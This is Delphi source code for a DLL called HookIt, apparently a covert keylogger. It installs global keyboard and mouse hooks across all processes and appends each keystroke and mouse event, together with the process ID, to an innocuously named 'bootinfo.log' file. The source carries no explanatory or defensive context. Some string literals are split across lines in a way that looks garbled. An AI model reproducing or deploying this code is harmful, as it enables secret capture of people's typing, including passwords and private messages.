library HookIt;
{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
SysUtils,
Classes,
windows;
{$R *.res}
var
Keyboard_HookHandle: LongWord = 0;
Mouse_HookHandle: LongWord = 0;
function MouseHookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
stdcall;
var PID, sizewritten, hFile: LongWord;
begin
Result := CallNextHookEx(Mouse_HookHandle, nCode, wParam, lParam);
case nCode < 0
of
True: exit;
// nicht anrühren wenns negativ ist
False:
begin
hFile := CreateFile(PChar(ExtractFilePath(ParamStr(0)) + '
bootinfo.log'), GENERIC_WRITE
or GENERIC_READ, 0,
nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if hFile <> INVALID_HANDLE_VALUE
then
try
SetFilePointer(hFile, 0,
nil, FILE_END);
PID := GetCurrentProcessID;
WriteFile(hFile, PID, sizeof(PID), sizewritten,
nil);
WriteFile(hFile, lParam, sizeof(lParam), sizewritten,
nil);
WriteFile(hFile, wParam, sizeof(wParam), sizewritten,
nil);
finally
CloseHandle(hFile);
end;
end;
end;
end;
function KbdHookProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord;
stdcall;
var
PID,
sizewritten,
hFile: LongWord;
begin
Result := CallNextHookEx(Keyboard_HookHandle, nCode, wParam, lParam);
case nCode < 0
of
True: exit;
// nicht anrühren wenns negativ ist
False:
begin
// case ((lParam and $80000000) = 0) of
// True: ; // WM_KEYDOWN
// else // WM_KEYUP
hFile := CreateFile(PChar(ExtractFilePath(ParamStr(0)) + '
bootinfo.log'), GENERIC_WRITE
or GENERIC_READ, 0,
nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if hFile <> INVALID_HANDLE_VALUE
then
try
SetFilePointer(hFile, 0,
nil, FILE_END);
PID := GetCurrentProcessID;
WriteFile(hFile, PID, sizeof(PID), sizewritten,
nil);
WriteFile(hFile, lParam, sizeof(lParam), sizewritten,
nil);
WriteFile(hFile, wParam, sizeof(wParam), sizewritten,
nil);
finally
CloseHandle(hFile);
end;
end;
end;
end;
function SetHook(bSet: Boolean): Boolean;
stdcall;
begin
case bSet
of
True:
begin
if Keyboard_HookHandle = 0
then
Keyboard_HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KbdHookProc, hInstance, 0);
if Mouse_HookHandle = 0
then
Mouse_HookHandle := SetWindowsHookEx(WH_MOUSE, @MouseHookProc, hInstance, 0);
Result := Mouse_HookHandle
and Keyboard_HookHandle <> 0;
end;
else
Result := UnhookWindowsHookEx(Keyboard_HookHandle)
and UnhookWindowsHookEx(Mouse_HookHandle);;
Keyboard_HookHandle := 0;
Mouse_HookHandle := 0;
end;
end;
exports
SetHook;
begin
end.